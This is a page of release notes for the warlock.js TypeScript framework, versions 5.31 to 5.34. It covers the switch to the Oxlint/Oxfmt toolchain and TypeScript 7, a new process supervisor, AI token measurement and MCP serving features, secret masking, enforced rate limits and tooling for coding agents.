    • AddedRead-only fs.inspectTransactions, bounded epoch-checked fs.read, and root-bound read / readMany for consistent snapshots. Document single-host cooperating-process limits and explicit file-only durability on Windows.
    • AddedOptional atomicWriteAsync(path, content, { durability: "file" | "full" }) flushes file bytes before rename and, with full durability, directory entries afterward. Existing unflushed defaults remain unchanged.
    @warlock.js/processFixed 1Security 1
    • FixedValidate supervisor configuration before accessing options; errors name the missing or invalid owner or registry option.
    • SecurityStrip guardian ownership and launch variables from macOS/Windows workload environments, including Windows casing aliases. Guardian proof remains intact; Linux retains its /proc ownership token.
    @warlock.js/webAdded 1Fixed 1
    • AddedRefresh lifecycle events carry a reason distinguishing explicit refreshes from live-data, polling/reconnect and focus revalidation. Export RefreshReason and RefreshOptions; allow app-owned background refresh({ reason }) calls.
    • FixedSeal and publish each successful page/shell swap's shared snapshot at the central swap boundary, updating retained useShared() consumers.
    create-warlockChanged 1Removed 1
    • ChangedBREAKING Enable Oxlint correctness: error in the only app template. Move the footer's year calculation outside render to satisfy its purity check. Standalone specs use locally declared, pinned Oxlint/Oxfmt tools.
    • RemovedBREAKING Remove the ESLint/Prettier scaffold, prompt, configs, dependencies and TypeScript 6.0.3 compatibility pin. --lint eslint fails before scaffolding and names 5.34.0 and the Oxlint/Oxfmt default. Remove Prettier compatibility scripts and validation paths.
    @warlock.js/aiAdded 1
    • Addedai.tools.catalogue({ core, searchable, limit?, searchName?, callName? }) (also catalogue) keeps a stable advertised core plus bounded schema search and governed hidden calls. Supports deterministic name/description/tag ranking, lazy cached tool loading, provider-tool passthrough, durable inventory drift detection and measurement with ai.measure / ai.tools.measure. Hidden calls resolve before the normal agent tool pipeline so target validation, policy, HITL, accounting, context and tracing remain intact.
    @warlock.js/cascadeRemoved 1
    • RemovedRemove the remaining ESLint and Prettier development dependencies; package linting and formatting use Oxlint/Oxfmt.
    5.33.0
    October 19, 2026

    Oxlint + Oxfmt become the only default toolchain, plus MCP request context, live page data, app-scoped secrets, AI measurement, PM2 commands and a new process supervisor. ESLint and Prettier are off by default and deprecated (removal in 5.34.0): an ESLint config alone no longer enables checks, and warlock upgrade --from 5.32 --to 5.33.0 migrates an app to Oxlint/Oxfmt. AI: ai.mcp.serve passes requestId, an authenticated principal and cancellation signals to tools, with beforeCall policy after input validation; ai.measure() and warlock ai measure report per-part input tokens and cost, with measure.diff. Web: pages opt into config.live for loader refreshes pushed over sockets with polling fallback, driven by invalidatePageCache(tags). Core: secrets.get/set/remove/has with OS keychain, scoped environment and encrypted-file backends and log masking; warlock pm2 init/reload with PM2 readiness after boot. Devtools: an AI panel on Panoptic traces and a Processes panel. New package @warlock.js/process (warlock add process) supervises app-owned workers on Linux, macOS and Windows with token and start-time identity, group stops and memory caps. Breaking: ESLint/Prettier no longer selected automatically, MCP cancellation and policy order, secret fakes in default test setup.

    Full release notes or run npx warlock release-notes.

    @warlock.js/processAdded 7
    • AddedAdd application-owned process supervision with random environment tokens, PID/start-time registry identity, safe group stops, label filtering, boot recovery and shutdown cleanup.
    • AddedExpose streamed worker handles, exit reasons and peak memory; lazily load optional node-pty for terminals.
    • AddedSupport macOS without custom native code: parse ps start time under LC_ALL=C TZ=UTC and verify the inherited random environment token through a live Node launch guardian.
    • AddedSupport Windows with PowerShell/CIM creation identity, the guardian's inherited token, PID-only taskkill /T /F tree stops, tree working-set polling, timeouts, recovery and optional node-pty/ConPTY terminals. Job Objects remain a future improvement.
    • AddedMake platform command construction, parsing and launch plans pure and observation injectable for Linux-hosted macOS/Windows specs; reject truly unsupported operating systems with UnsupportedProcessPlatformError.
    • AddedAttempt Linux cgroup v2 before user code executes, with inherited rlimit/RSS fallback; document softer macOS rlimit/tree RSS and Windows tree RSS enforcement, guardian memory overhead and POSIX-only CPU limits.
    • AddedIntegrate warlock add process and a read-only devtools process panel.
    @warlock.js/coreAdded 1Changed 2Fixed 2Deprecated 1
    • Addedoxc-toolchain, a 5.33.0 warlock upgrade codemod, migrates generated configs, package scripts/dependencies, editor settings and literal dev health switches to Oxlint/Oxfmt. Customized files are retained with file:line review guidance; additions and deletions honor --dry-run and --json.
    • ChangedBREAKING ESLint no longer starts from config detection alone in the dev server or warlock check. TypeScript and configured Oxlint remain the default health checkers; check defaults to Oxlint.
    • ChangedCompleted application boot now sends PM2's "ready" IPC message without disconnecting its channel; the existing warlock start readiness protocol remains supported. Cluster workers skip the exclusive port preflight so they can share their primary's listener during rolling reloads.
    • FixedType the socket connector’s raw HTTP(S) server across asynchronous listener startup; keep native-keyring test doubles declaration-safe and cover the documented check --lint option.
    • FixedSocket-only connector boot awaits its listener and rejects bind failures before application readiness can be announced.
    • DeprecatedESLint/Prettier support is removed in 5.34.0. Explicit ESLint opt-ins emit one deprecation warning per process on stderr with migration instructions.
    @warlock.js/devtoolsAdded 4
    • AddedAI panel at /__warlock and AI runs in HTTP request details, powered by optional @warlock.js/ai-panoptic: model, token/cache usage, historical cost, provider cache-hit trips, tool timings, retries, truncation and compaction metadata.
    • AddedRead-only AI list/detail endpoints and ai stream updates behind the existing development/loopback guard, with install guidance when Panoptic is unavailable.
    • AddedBounded content-free trace retention, request-local correlation and cleanup with the dashboard Clear action and connector shutdown; application exporter/cache stores remain independent.
    • AddedAdd a read-only Processes panel and guarded /api/processes endpoint, discovering the application registration generated by warlock add process only in development.
    @warlock.js/webAdded 2Changed 1Fixed 1
    • AddedPage-owned config.live: { tags, pollInterval } re-runs matching loader pipelines after invalidatePageCache broadcasts through core's Socket.IO adapter. configureLivePageData({ socket }) reuses an app-owned client and falls back to polling without a connected socket.
    • AddedLive updates wait for navigation and unsent <Form> input, discard in-flight responses when editing begins, and bypass page caches. Document shared-cache/socket-adapter requirements for multiple processes and publishing workers.
    • ChangedUse root Oxlint/Oxfmt binaries and configuration for package lint/fix and format scripts. Legacy ESLint/Prettier dependencies and configs remain until the 5.34.0 removal.
    • FixedKeep live-refresh cleanup free of control-flow overrides, exercise relative navigation URLs in the live-refresh regression, and demonstrate binding an application-owned socket without an undeclared client import.
    @warlock.js/aiAdded 2Changed 1
    • AddedToolContext adds optional requestId and principal fields for server transports, keeping authenticated identity out of tool input and model messages.
    • Addedai.measure({ model, tools?, system?, messages?, skills? }) and standalone measure report per-part native input token counts or labelled estimates and uncached input USD when priced. measure.diff(before, after) returns signed per-part and total changes with the original reports. Includes compact schemas, catalogue-only measurement, explicit probe metadata, and whole-report fallback for unsupported count shapes.
    • ChangedUse root Oxlint/Oxfmt binaries and configuration for package lint/fix and format scripts. Legacy ESLint/Prettier dependencies and configs remain until the 5.34.0 removal.
    @warlock.js/ai-panopticAdded 3
    • AddedsubscribeTraces(listener) and TraceListener for process-local adapters observing finalized traces from every built-in collector before exporter dispatch, with isolated listener failures and independent teardown.
    • AddedOptional Trace.requestId and exact TraceQuery.requestId filters for both in-memory and cache-backed query/aggregate APIs.
    • AddedContent-free retry-attempt timings, provider cache-hit and truncated-trip counts, agent compaction decisions and provider compaction-block counts on trace attributes, surfaced by the devtools AI panel.
    @warlock.js/ai-toolsAdded 1Fixed 1
    • AddedMCP serving now exposes per-call requestId, authenticated principal and cancellation-aware signals over HTTP and stdio. HTTP auth.authenticate resolves principals alongside bearer/authorize checks; stdio accepts static or provider principals. beforeCall validates policy after input validation and can return a native error refusal or throw a JSON-RPC error. notifications/cancelled aborts only the matching caller/request and suppresses its response. New hook/context/refusal and stdio transport types are exported.
    • FixedKeep HTTP and MCP fixtures valid under strict indexed access, accept string JSON-RPC request IDs in serving tests, and replace stdin through its descriptor without pretending a stream is a terminal.
    create-warlockChanged 1Deprecated 1
    • ChangedLabel the explicit ESLint/Prettier prompt choice, flag help and docs as deprecated; retain TypeScript 6.0.3 compatibility and explicitly enable its dev-server checker. Package development scripts use root Oxlint/Oxfmt, and the template formatting gate defaults to Oxfmt. Oxc scripts explicitly select .oxfmtignore.
    • Deprecated--lint=eslint prints a clear removal warning for 5.34.0, recommends --lint=oxc and names the existing-app migration command. Explicit Prettier compatibility scripts also warn.
    @warlock.js/cascadeChanged 1
    • ChangedUse root Oxlint/Oxfmt binaries and configuration for package lint/fix and format scripts. Legacy ESLint/Prettier dependencies and configs remain until the 5.34.0 removal.
    @warlock.js/heraldChanged 1
    • ChangedUse root Oxlint/Oxfmt binaries and configuration for package lint/fix and format scripts. Legacy ESLint/Prettier dependencies and configs remain until the 5.34.0 removal.
    @warlock.js/loggerAdded 1
    • AddedAdd registerLogSecret(value, keys?) and maskRegisteredLogSecrets(text) for process-lifetime credential masking. Registered keys and literal values remain protected with defaults disabled or custom censors, including free text, Error causes and channel failure diagnostics. The safety pass masks opaque objects and does not invoke serializers/getters.
    @warlock.js/sealChanged 1
    • ChangedUse root Oxlint/Oxfmt binaries and configuration for package lint/fix and format scripts. Legacy ESLint/Prettier dependencies and configs remain until the 5.34.0 removal.
    5.32.0
    October 18, 2026

    TypeScript 7 across the family, metric-matched web fonts, and fixes from upgrading real apps to 5.31. Every package, new app and the release tooling move to TypeScript 7.0.2 (the native tsc): the workspace typecheck drops from about 1 min 51 s to 36 s, warlock typecheck/check and the dev-server checker run on the native compiler, and syntax analysis uses oxc-parser. Apps drop baseUrl and moduleResolution: node/node10 from their tsconfig. New apps default to Oxlint + Oxfmt; the opt-in ESLint toolchain stays on TypeScript 6.0.3 because typescript-eslint does not support TypeScript 7. Web: declared fonts with preload, metric-matched fallbacks that stop the layout shift when a web font swaps in, and immutable caching. AI: opt-in native MCP results, private permissions for snapshot/session/cassette files, Gemini Developer API token counting with system prompts and tools (with an estimate fallback), hosted-search usage and cost across providers, Qwen search and Kimi search/fetch tools. Security: esbuild 0.28.2 (GHSA-g7r4-m6w7-qqqr). Notifications imports herald as an optional peer instead of bundling a private copy. Agents get report-framework-issue.md and warlock issue to file framework issues with consent. Breaking: TypeScript 7 config changes, private AI file modes, herald must be installed for .queue() with the herald backend.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 1Changed 5Fixed 1Security 1
    • Addedwarlock issue [--type bug|feature] [--title "..."] [--json] collects installed environment details and a static config summary without booting the app, then prints a bounded pre-filled framework issue URL; it never submits anything. Add bug/feature issue forms and the report-framework-issue.md agent topic with minimal-repro, privacy, duplicate-search and user-consent guidance.
    • ChangedClarify the upgrade skill: new scaffolds default to Oxlint/Oxfmt and TypeScript 7.0.2; explicit ESLint mode stays on TypeScript 6.0.3 to satisfy typescript-eslint, with deprecation planned for 5.33 and removal for 5.34.
    • ChangedVerify generated web stubs with the scaffold’s TypeScript-independent Prettier import sorter, including an explicit no-plugin negative control and decorator parsing; align the contact controller stub’s inline type-specifier order.
    • ChangedBREAKING: pin typescript to 7.0.2, whose tsc command uses the native Go compiler. Apps must remove baseUrl, rebase paths, replace moduleResolution: "node" / "node10", and declare ambient Node types explicitly.
    • ChangedPreserve incremental CLI checks and changed-file filtering; reuse a native compiler session for per-file development diagnostics and close it on shutdown.
    • ChangedParse imports, configuration, translation keys, model/resource typings, convention checks, page discovery and doctor migrations with OXC instead of the removed JavaScript compiler API.
    • FixedFix source development workers on Node.js 24 failing to load Node builtins through native dependencies, restoring background TypeScript health checks.
    • SecurityUpgrade esbuild to ^0.28.2, past the Windows development-server advisory GHSA-g7r4-m6w7-qqqr (patched in 0.28.1).
    @warlock.js/webAdded 2Changed 1Security 1
    • AddedDeclare self-hosted fonts once with typed web.fonts: generated font-face CSS and variables, critical preloads in buffered and streamed heads, page/layout/root preload opt-outs, and metric-matched local fallbacks. Dependency-free sfnt/WOFF/WOFF2 metrics use Capsize's recorded system metrics and weighted Latin advances to reduce layout shifts when a condensed display font swaps into a hero heading.
    • AddedDeclared font files and their stylesheet are hashed Vite assets with the existing one-year immutable production cache. Development caches metrics and warns about TTF/OTF files and critical faces missing preload or fallback.
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    • SecurityUpgrade esbuild to ^0.28.2, past the Windows development-server advisory GHSA-g7r4-m6w7-qqqr (patched in 0.28.1).
    @warlock.js/aiAdded 2Changed 2Fixed 1Security 1
    • AddedProvider-reported hosted-tool usage counters, per-request ModelPricing.serverTools rates and historical cost.serverTools amounts; mergeUsage and totalCost include them. Budget reserve mode accepts serverToolRequests with fail-closed fee pricing. Responses and streaming terminal chunks retain raw provider metadata; agent trips retain metadata and handle adapter-supplied hosted continuations within maxTrips without function dispatch.
    • Addedai.snapshot.file({ dir, dirMode?, fileMode? }) accepts custom permission modes with private defaults, refusing invalid modes and group/other write bits.
    • ChangedUpdate provider-tool guidance to use the first-party Kimi search/fetch client tools and their usage accounting, replacing the unreleased builtin path retiring on 20 October 2026.
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    • FixedcountInputTokens falls back to a full-input estimate when native counting explicitly signals InvalidRequestError.reason: "count-unsupported", keeping reserve-mode budget preflight usable with unsupported request shapes while propagating real provider errors.
    • SecurityLocal snapshot and VCR cassette stores create directories with 0700 and JSON files with exactly 0600, including temporary files before atomic rename and rewrites of older files. Existing directories are never chmod-ed. SQLite path stores create private parents and set the database and journal/WAL/SHM sidecars to 0600; caller-supplied database connections retain caller-managed permissions. POSIX modes are ignored on Windows.
    create-warlockChanged 5
    • ChangedBREAKING: the default scaffold toolchain is now Oxlint + Oxfmt (--lint=oxc) with TypeScript 7.0.2. Explicit --lint=eslint retains ESLint + Prettier with TypeScript 6.0.3 so npm, pnpm and yarn can satisfy typescript-eslint's peer range. The wizard, help and headless defaults agree.
    • ChangedESLint selection prints one compatibility notice explaining the TypeScript 6.0.3 pin and planned deprecation in 5.33 / removal in 5.34. The scaffold gate accepts --lint and --pm to verify both toolchains with npm, pnpm or yarn; CI exercises Oxc by default.
    • ChangedReplace the Prettier import organizer with @ianvs/prettier-plugin-sort-imports so import sorting works with TypeScript 7. Keep built-ins, packages, internal aliases and relative imports in one block, with separate type imports; align Oxfmt’s internal-alias groups with the same template source. Formatters retain unused imports; ESLint or Oxlint reports them.
    • ChangedBREAKING: scaffold the default Oxlint/Oxfmt mode with TypeScript 7.0.2 using the native tsc command, supported tsconfig options and explicit Node types. Existing apps must remove baseUrl, rebase paths, and replace classic Node module resolution.
    • ChangedDocument the optional ESLint parser's dependence on the removed JavaScript compiler API; keep its compiler isolated in the monorepo's development tooling so ESLint specs remain executable while the default scaffold uses TS7.
    @warlock.js/ai-openaiAdded 2Changed 2Fixed 1
    • AddedExport kimiSearchTool() (Basic/Pro), kimiFetchTool() and verified KIMI_SERVER_TOOL_PRICING: authenticated, cancellable first-party REST calls with compact results, mapped errors, no automatic retries, and billable response usage/costs aggregated into agent reports.
    • AddedRetain Responses hosted output/actions/sources and count web-search calls without double-counting stream snapshots. Export opt-in OPENAI_SERVER_TOOL_PRICING. Support typed Qwen/DashScope enableSearch flags.
    • ChangedRemove the unreleased Kimi/Moonshot $web_search builtin echo path; reject declarations of the builtin retiring on 20 October 2026 and document migration to standalone REST tools.
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    • FixedVerified that Responses native token counting preserves the shared unsupported-count signal for countInputTokens estimation while authentication errors propagate.
    @warlock.js/ai-toolsAdded 2Changed 1Fixed 2
    • AddedmcpResult(...) and its McpNativeResult type explicitly mark native tool results. serve(..., { results: "native" }) enables detection for existing native-returning tools; meta.mcpResults: "native" | "text" overrides detection per tool.
    • Addedmeta.outputSchema advertises structured tool output in tools/list; McpToolCallResult now includes structuredContent and _meta.
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    • FixedOpted-in native MCP tool results preserve content blocks, isError, structuredContent and _meta over stdio and HTTP, including tools with an advertised output schema. Per-request headers and abort signals remain available to tools; default result serialization and thrown-tool error handling are unchanged.
    • FixedMalformed native results produce a JSON-RPC internal error instead of sending invalid MCP payloads.
    @warlock.js/ai-anthropicAdded 1Changed 1Fixed 1
    • AddedMap cumulative hosted web-search/fetch usage in completions and streams while preserving server-tool blocks. Export verified request-fee prices as ANTHROPIC_SERVER_TOOL_PRICING for explicit pricing composition.
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    • FixedVerified that native token counting preserves the shared unsupported-count signal for countInputTokens estimation while authentication errors propagate.
    @warlock.js/ai-bedrockChanged 1Fixed 2
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    • FixedVerified that native token counting preserves the shared unsupported-count signal for countInputTokens estimation while authentication errors propagate.
    • FixedClarify that Converse TokenUsage exposes no hosted-search request counter; system-tool blocks cannot establish request fees and no count is fabricated.
    @warlock.js/ai-googleAdded 1Changed 1Fixed 1
    • AddedPreserve raw candidate grounding metadata and normalize unique nonempty search queries in completions and streams. Export opt-in Gemini 3+ request prices as GOOGLE_SERVER_TOOL_PRICING; document older models’ per-prompt billing.
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    • FixedGemini Developer API token counting sends the full generateContentRequest, including system instructions, tools and generation settings, through the existing SDK transport with cancellation and error mapping. Vertex counting is unchanged; unsupported cached-content counts carry the typed signal used by countInputTokens to estimate.
    @warlock.js/cascadeChanged 2Security 1
    • ChangedReplace the unused classic TypeScript import-organizer development dependency with @ianvs/prettier-plugin-sort-imports, compatible with TypeScript 7.
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    • SecurityUpgrade esbuild to ^0.28.2, past the Windows development-server advisory GHSA-g7r4-m6w7-qqqr (patched in 0.28.1).
    @warlock.js/sealChanged 3
    • ChangedReplace the unused classic TypeScript import-organizer development dependency with @ianvs/prettier-plugin-sort-imports, compatible with TypeScript 7.
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    • ChangedRebaseline the type benchmark on TS7 with --checkers 1 so type/instantiation counts remain deterministic; resolve the compiler through its exported package manifest.
    @warlock.js/ai-panopticChanged 1Fixed 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    • FixedUse the canonical usage rollup for trace aggregates, retaining hosted-tool counters and historical request fees alongside cache lifetime and mixed-provider cache semantics.
    @warlock.js/ai-xaiChanged 1Fixed 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    • FixedDocument and test explicit rejection of native web_search / x_search on the current Chat Completions transport, with guidance to use xAI’s Responses API before any request is sent.
    @warlock.js/notificationsChanged 1Fixed 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    • FixedThe published package no longer carries a private, bundled copy of @warlock.js/herald's source. Because herald was declared as an optional dependency, the release build did not treat it as external and inlined it, so an app using both packages could get two separate herald instances. Herald is now an optional peer and is always imported from the app's own installation.
    @warlock.js/accessChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/ai-cliChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/ai-deepseekChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/ai-groqChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/ai-liveChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/ai-mistralChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/ai-ollamaChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/ai-workspaceChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/authChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/cacheChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/contextChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/devtoolsChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/fsChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/heraldChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/loggerChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/queueChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/schedulerChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    @warlock.js/sitemapChanged 1
    • ChangedPin the package development compiler to TypeScript 7.0.2 and use explicit Node types and source roots with supported module resolution.
    5.31.0
    October 18, 2026

    Rate limits that actually apply in production, a toolbelt for AI coding agents, and a broad AI upgrade. Security: the global HTTP rate limiter (http.rateLimit, 60 requests/minute per IP by default) is now enforced in production — in 5.30 and earlier it never applied to application routes; static files and the /health//ready probes are exempt by default. Agents get warlock inspect --json, warlock check (typecheck, lint, related tests and framework convention checks with stable WLxxxx codes and an environment-vs-code exit split), warlock explain, warlock mcp, warlock trace, a generated app AGENTS.md, warlock board, warlock make endpoint, --dry-run --json on every generator, a test kit with fakes on by default and model factories, and warlock upgrade codemods. AI: a run cut off by the output or context limit ends as AgentIncompleteError instead of an empty success, cost is cache-aware with verified price tables and reserve-then-commit budgets, reasoning/tool-argument/usage stream chunks, provider-defined tools, conversation sessions with file and SQLite stores, compaction for thinking runs, MCP serving over HTTP with auth, a coding-agent workspace tool belt, and the new @warlock.js/ai-cli that drives 14 vendor coding CLIs as agents. Also: built apps start on Bun and Deno (warlock dev stays on Node), Node 22.15 is the minimum, a confined no-follow reader in @warlock.js/fs, FileLog naming and retention, route-level validation failure responses, and v.union tries every matching object member. Breaking: enforced rate limits, incomplete agent runs, v.union error paths, sortable FileLog names, and more — see the upgrade notes and warlock upgrade --from 5.30 --to 5.31.0. Lockstep release across all 32 packages, one of them new (@warlock.js/ai-cli).

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 52Changed 5Fixed 25Security 1
    • Added@warlock.js/core/net: a side-effect-free subpath exporting the SSRF IP classifier isPrivateOrReservedIp (the same function the root exports). It loads only node:net, so workers, CLIs and standalone processes — @warlock.js/ai among them — can reuse the private-address rules without loading the HTTP server, database, cache or mail modules behind the root entry.
    • Addedhttp.rateLimit.staticFiles (default false) decides whether static files count against the global rate limiter. Each static mount can decide for itself: router.directory(options, { rateLimit }) and a fourth { rateLimit } argument on router.file(), cachedFile(), files() and cachedFiles() take true (global limiter), false (exempt) or { max, timeWindow, errorMessage? } (own limit and bucket).
    • AddedRoute validation can answer with an application's own failure body. validation.onFailure(result, { request, response, route }) returns { status?, body } for a failed schema or params (no status uses validation.response.status, 422 by default); validation.response.body(result, route) in the validation config does the same for every route. The route hook wins, either may return undefined to fall through, and the framework body is unchanged when neither is set. Routes also accept a validation option merged over the handler's own, so one handler can serve several routes with different failure codes. ValidationConfiguration now types response and responseStatus.
    • Addedwarlock generate.openapi documents a custom validation failure body from the handler's responseSchema entry for the failure status instead of the framework's ValidationFailed shape; without one, the configured status is documented without a body and a route-level hook produces a warning.
    • AddedevaluateConditionalRequest(), matchesIfNoneMatch(), matchesIfMatch() and parseEntityTagList() expose the framework's RFC 9110 precondition handling for application handlers that set their own ETags.
    • AddedA route's rateLimit option also accepts false to exempt the route from the global limiter, and true to keep it under the global policy (the default for application routes).
    • AddedProduction runtime support for Bun and Deno. An app built on Node with warlock build starts and serves on Bun 1.4.3 and Deno 2.9.7, either directly (bun dist/app.js, deno run -A dist/app.js) or through warlock start run with that runtime. A runtimes CI workflow builds a fixture app with pages, API routes, file cache, file logging and static files from the packed framework, starts it on Node, Bun and Deno, and checks every route plus a clean SIGTERM shutdown. The "Supported runtimes" docs page lists the commands for each runtime.
    • AddeddetectJavaScriptRuntime(), describeJavaScriptRuntime(), nodeOnlyCommandError(), assertNodeOnlyCommand() and unverifiedBuildRuntimeNotice() report which runtime is executing ({ type: "node" | "bun" | "deno", version }), and let a CLI command refuse to run anywhere but Node.
    • Addedwarlock inspect [--json] [--section routes,models,…] prints the app's facts from its booted registries: routes (middleware chain, auth guard, CSRF, rate limit, logging, request/response JSON Schema), models (table, columns, relations, resource), resources, config keys with types (never values), event listeners, pages (layout chain, loaders, actions, guard), queue jobs, scheduled tasks and installed @warlock.js/* versions. Boots like warlock doctor — no connection, no port. The report is versioned (schemaVersion: 1, fields only ever added) and published as JSON Schema: schemas/inspect-report.schema.json and INSPECT_REPORT_JSON_SCHEMA. inspectApp() returns the same object inside any process where the app is booted; bootForInspect() boots first.
    • Addedwarlock check [--changed] [--base <ref>] [--skip …] [--json] is one verify command: an incremental typecheck (in a child process, so running out of memory is reported), the app's ESLint/oxlint, the tests the change affects (vitest run / vitest related), and convention checks (importing an auto-loaded file, .js import extensions, relative imports across modules, experimentalDecorators). One JSON object per problem — { code, category, severity, source, file, line, column, message, hint, skill, docs, rule } — and exit codes that split your code (1) from this machine (2: Node version, missing tool, unreachable database/Redis, busy port, git unavailable, tool crash). It detects and reports only; it never stops processes or frees ports.
    • Addedwarlock check's conventions step also reports security and code-style problems from source, the same with ESLint, Oxlint or no linter: request.all() passed to a query, a service or inApp() (WL9005); a POST/PUT/PATCH/DELETE route with no auth middleware and no public: true (WL9006, the source-side twin of the warlock dev warning, sharing its guard-name rule); a redirect() / navigateTo() / <Link to|href> target read from request input without safeRedirect() / safeRedirectTarget() or an isSafeRedirect() check (WL9007); a raw email, credential or request body in a log call (WL9008, using the logger's default censored keys); a regex with an unbounded quantifier run on request input (WL9009); and, as warnings, await log.*() (WL9010), a second controller in one file (WL9011) and a kind union discriminator (WL9012). A // warlock-check-ignore WL9006 comment on the problem's line or the line above records a deliberate exception. The generated AGENTS.md conventions list and the warlock-conventions skill cover every code.
    • Addedwarlock typecheck [--changed] [--base <ref>] [--project <tsconfig>] [--json] typechecks with the TypeScript compiler API, keeping incremental state in .warlock/cache/typecheck.tsbuildinfo; --changed checks only the changed files and the files importing them.
    • AddedStable error codes: a WL + four-digit registry (ERROR_CODES, first digit = area: config, boot, routing, validation, http, database, cli, environment, convention), each with a one-line fix, a skill and a docs anchor, exported from @warlock.js/core and @warlock.js/core/errors with explainErrorCode(), errorCodeOf() (also maps ECONNREFUSED/EADDRINUSE and follows cause) and WarlockError. Framework error classes carry a code (ModuleLoadError → WL2001, ContainerKeyMissingError → WL2004, CliOptionValueError → WL7001, …); a duplicate route name throws RouteNameTakenError (WL3001), and unknown route names, missing URL params, invalid controller actions and refused connector lists throw coded WarlockErrors with unchanged messages. warlock explain <CODE> [--json] prints a code's meaning and fix; warlock explain lists them all.
    • Addedwarlock doctor --json prints the report as JSON, and every warn/fail finding (also in the plain report) carries its error code with the same hint / skill / docs fields warlock check --json uses.
    • Added@warlock.js/core/tooling subpath: inspectApp, runCheck, runTypecheck, CHECK_EXIT_CODES and the shared ToolingProblem type, kept off the root barrel because it loads the TypeScript compiler and ESLint.
    • AddedSkills warlock-inspect and warlock-check; warlock-doctor covers --json and error codes. Docs pages for warlock inspect, warlock check / typecheck and the error-code reference.
    • Addedwarlock make endpoint <module>/<name> (also generate.endpoint / make.endpoint) generates one endpoint from its request schema: --schema (a seal object schema file), --method, --path, --resource, and --auth (default) or --public. It writes the schema module, a service taking validated input, the resource shaped from the schema fields, one controller reading request.validated() with its validation and an OpenAPI responseSchema, the route (in a guarded() block, or marked public: true), the success message in utils/locales.json, and tests/<name>.test.ts, which requests the endpoint over the real HTTP stack with a valid input derived from the schema, a missing required field, and for guarded routes an anonymous 401 plus a signed-in case. Existing files are skipped and reported unless --force; a controller already in routes.ts is not registered twice. warlock make <generator> dispatches to every generator, like warlock generate.
    • AddedEvery generate.* command, make and add accept --dry-run (write nothing; add also installs nothing, running feature setup against an in-memory copy of the files) and --json (one versioned report on stdout listing files written, files skipped because they exist, per-file actions, command details and messages; also printed when the command fails). add --list --json includes the feature catalog.
    • AddedTest fakes at @warlock.js/core/tests, installed by default in the test environment: mailFake, queueFake, cacheFake, storageFake, clockFake and idsFake, with assertion helpers (assertSent, assertSentCount, assertPushed, assertNotPushed, assertHas, assertStored, assertExists, travel, ...) whose failures list what was recorded. installTestFakes() / restoreTestFakes() and the fakes option of setupTest() / startHttpTestServer() control them; tests.fakes configures them per project. The storage fake's temp root is shared between the HTTP test server and the workers.
    • Addedclock (now(), timestamp()) and ids (uuid(), token(length)) runtime helpers. Outside tests they are the system clock and node:crypto; in tests the fakes make them deterministic without touching Date or timers.
    • AddeddefineFactory(Model, (seed) => attributes) model factories with make(), makeMany(n), create(), create(n), createMany(n), named states (state() / with()) and a deterministic seed (text, email, uuid, date, number, pick); resetFactorySequences().
    • AddedcreateTestHttpServer({ routes?, loadAppModules?, importModule? }) serves requests inside the test worker with the production Fastify setup, plugins and route registration on an OS-assigned port, returning request helpers, actingAs(user) and close(); the worker's fakes see what handlers did. createTestRequestClient(baseUrl) binds the request helpers to any URL, and actingAs(user, client?) accepts one.
    • AddedstartHttpTestServer({ port: 0 }) binds a free port and publishes the bound port to the workers; warlock add test now generates it.
    • AddedsnapshotResponse(response, { redact }) reduces a response to status, content type and body with volatile paths redacted, for toMatchSnapshot().
